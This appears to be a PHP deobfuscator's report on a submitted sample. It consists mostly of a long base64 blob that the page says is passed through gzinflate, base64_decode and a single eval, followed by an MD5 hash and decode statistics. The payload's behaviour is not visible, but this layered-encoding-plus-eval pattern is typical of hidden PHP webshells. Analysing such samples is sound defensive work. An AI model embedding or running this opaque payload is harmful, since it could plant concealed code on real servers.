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')));

Function Calls

gzinflate 1
base64_decode 1

Variables

None

Stats

MD5 fbc0ae4ecf9d0870fa9da521ca6cd2f6
Eval Count 1
Decode Time 1126 ms